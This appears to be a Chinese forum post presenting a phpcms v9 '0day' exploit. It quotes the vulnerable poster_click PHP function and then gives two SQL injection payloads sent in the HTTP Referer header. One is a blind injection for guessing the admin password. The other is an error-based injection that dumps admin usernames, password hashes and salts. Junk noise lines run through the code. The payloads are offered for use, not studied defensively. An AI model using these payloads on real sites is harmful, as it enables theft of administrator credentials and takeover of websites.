phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

问题函数\phpcms\modules\poster\index.php
3 o8 X! A$ e' _2 |1 d1 t
public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
- Z% p9 x, C- h  i) J+ k3 K4 t- tif (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
5 W; ]0 ?( R' |. S& }+ }1 |& ^; `$ip = ip();
! ?. V! h; K1 c6 D4 v. X$area = $ip_area->get($ip);
4 e# y; n( b* J1 A9 h$username = param::get_cookie('username') ? param::get_cookie('username') : '';
4 f' R* x) u! x; `% p. Dif($id) {
2 H" O" H! ^- |* ^0 ]6 D$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
0 V1 q! b1 J7 ]$ q: v$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
9 |: L0 ^3 A. h& L+ X}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$setting = string2array($r['setting']);
if (count($setting)==1) {
" ^0 M  Q! V* E. O; V9 {+ M$url = $setting['1']['linkurl'];
5 W4 N* V3 A4 w8 a3 H, |1 O8 p} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
}
: A7 w! c4 Y% H, {. |0 X! nheader('Location: '.$url);
}
/ s8 q( b& c! P) F
7 X& ]$ L' }9 s

: ?/ @. O/ @& h+ u利用方式：
3 t* E5 L% ~! X5 |4 p! U
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#
% y7 A0 }2 ^) \- z
通过返回页面，正常与否一个个猜解密码字段。
. f- U+ }8 Q/ X9 Y( P3 ?
2、代码是花开写的，随手附上了：

4 |7 W- G6 M0 l3 I9 W, g- s: L1 J1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#
1 C) r+ h3 n% a7 M
3 a$ E* j3 W: t* V5 j# o% h此方法是爆错注入手法，原理自查。
